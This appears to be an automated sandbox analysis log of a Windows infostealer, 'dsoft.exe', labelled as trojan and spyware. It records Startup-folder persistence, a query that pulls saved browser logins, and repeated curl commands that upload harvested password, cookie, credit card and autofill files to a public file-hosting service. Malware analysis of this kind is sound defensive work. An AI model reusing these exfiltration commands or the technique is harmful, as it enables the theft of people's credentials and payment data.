            Source: unknownNetwork traffic detected: HTTP traffic on port 49858 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49784 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49806 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49752 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49777 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49886 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49845
            Source: unknownNetwork traffic detected: HTTP traffic on port 49869 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49843
            Source: unknownNetwork traffic detected: HTTP traffic on port 49819 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49748 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49828 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49793 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49850 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49805 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49831 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49751 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49838
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49837
            Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49831
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49830
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49795
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49793
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49792
            Source: unknownNetwork traffic detected: HTTP traffic on port 49814 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49822 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49765 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49768 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49811 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49828
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49827
            Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49867 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49771 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49822
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49821
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49785
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49784
            Source: unknownNetwork traffic detected: HTTP traffic on port 49813 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49785 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49762 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49819
            Source: unknownNetwork traffic detected: HTTP traffic on port 49776 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49845 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49814
            Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49813
            Source: unknownNetwork traffic detected: HTTP traffic on port 49753 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49778
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49811
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49777
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49776
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49896
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49773
            Source: unknownNetwork traffic detected: HTTP traffic on port 49862 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49771
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49770
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49891
            Source: unknownNetwork traffic detected: HTTP traffic on port 49827 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49851 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49830 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49806
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49805
            Source: unknownNetwork traffic detected: HTTP traffic on port 49905 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49773 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49769
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49801
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49768
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49800
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49766
            Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49765
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49886
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
            Source: unknownNetwork traffic detected: HTTP traffic on port 49838 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
            Source: unknownNetwork traffic detected: HTTP traffic on port 49821 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49880
            Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49896 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49770 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49854 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49801 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49860 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
            Source: unknownNetwork traffic detected: HTTP traffic on port 49778 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49754
            Source: unknownNetwork traffic detected: HTTP traffic on port 49891 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49753
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49874
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49752
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49751
            Source: unknownNetwork traffic detected: HTTP traffic on port 49843 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49874 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49880 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49905
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49869
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
            Source: unknownNetwork traffic detected: HTTP traffic on port 49792 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49867
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49900
            Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49752 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49757 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49762 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49776 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49792 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49805 version: TLS 1.2
            Source: dsoft.exeStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (GUI) x86-64, for MS Windows
            Source: _overlapped.pyd.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
            Source: unicodedata.pyd.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
            Source: dsoft.exe.1.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (GUI) x86-64, for MS Windows
            Source: _overlapped.pyd.10.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
            Source: unicodedata.pyd.10.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
            Source: dsoft.exe, 00000000.00000003.1997172891.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameshell.pyd0 vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1989600243.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamelibsslH vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1993838647.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamesqlite3.dll0 vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1991278699.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamepythoncom310.dll0 vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1986037368.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_ctypes.pyd. vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1986770676.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_queue.pyd. vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1994313352.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameunicodedata.pyd. vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1987314194.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_uuid.pyd. vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1986609914.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_multiprocessing.pyd. vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1984920843.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamewin32ui.pyd0 vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1996740060.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamewin32trace.pyd0 vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1995076039.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_win32sysloader.pyd0 vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1987164088.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_ssl.pyd. vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1986492471.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_lzma.pyd. vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1986962880.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_sqlite3.pyd. vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1991995778.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamepywintypes310.dll0 vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1985736440.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_bz2.pyd. vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1996740060.00000177161F4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamewin32trace.pyd0 vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1986688582.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_overlapped.pyd. vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1995076039.00000177161F5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_win32sysloader.pyd0 vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1985304722.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dllT vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1992158737.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameselect.pyd. vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1986235896.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_decimal.pyd. vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1985477905.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140_1.dllT vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1986386897.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_hashlib.pyd. vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1989868193.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamepyexpat.pyd. vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1986851728.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_socket.pyd. vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1995267328.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamewin32api.pyd0 vs dsoft.exe
            Source: dsoft.exe, 00000000.00000003.1985604407.00000177161E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_asyncio.pyd. vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2168703723.000001463F1F7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_win32sysloader.pyd0 vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2168910308.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamewin32trace.pyd0 vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2168802143.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamewin32api.pyd0 vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2166448280.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamepywintypes310.dll0 vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2166184216.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamepythoncom310.dll0 vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2161237903.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_sqlite3.pyd. vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2159039587.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dllT vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2159279158.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_asyncio.pyd. vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2159661243.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_ctypes.pyd. vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2159815158.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_decimal.pyd. vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2167603428.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamesqlite3.dll0 vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2164416315.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamepyexpat.pyd. vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2161628059.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_uuid.pyd. vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2160421599.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_overlapped.pyd. vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2168703723.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_win32sysloader.pyd0 vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2168910308.000001463F1F7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamewin32trace.pyd0 vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2159977076.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_hashlib.pyd. vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2159384277.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_bz2.pyd. vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2169044397.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameshell.pyd0 vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2164088511.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamelibsslH vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2158724693.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamewin32ui.pyd0 vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2161501868.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_ssl.pyd. vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2168290335.000001463F1F2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameunicodedata.pyd. vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2166596083.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameselect.pyd. vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2160261628.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_multiprocessing.pyd. vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2160557351.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_queue.pyd. vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2160087254.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_lzma.pyd. vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2160707465.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_socket.pyd. vs dsoft.exe
            Source: dsoft.exe, 0000000A.00000003.2159177221.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140_1.dllT vs dsoft.exe
            Source: classification engineClassification label: mal92.troj.adwa.spyw.winEXE@81/183@5/6
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeJump to behavior
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3760:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6336:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1900:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1988:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2060:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5376:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6184:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6432:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7136:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3796:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5244:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6504:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2360:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6400:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:792:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1748:120:WilError_03
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562Jump to behavior
            Source: dsoft.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
            Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
            Source: C:\Users\user\Desktop\dsoft.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SELECT action_url, username_value, password_value FROM logins;
            Source: dsoft.exeReversingLabs: Detection: 34%
            Source: C:\Users\user\Desktop\dsoft.exeFile read: C:\Users\user\Desktop\dsoft.exeJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\dsoft.exe "C:\Users\user\Desktop\dsoft.exe"
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Users\user\Desktop\dsoft.exe "C:\Users\user\Desktop\dsoft.exe"
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
            Source: unknownProcess created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe"
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe"
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
            Source: C:\Users\user\Desktop\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
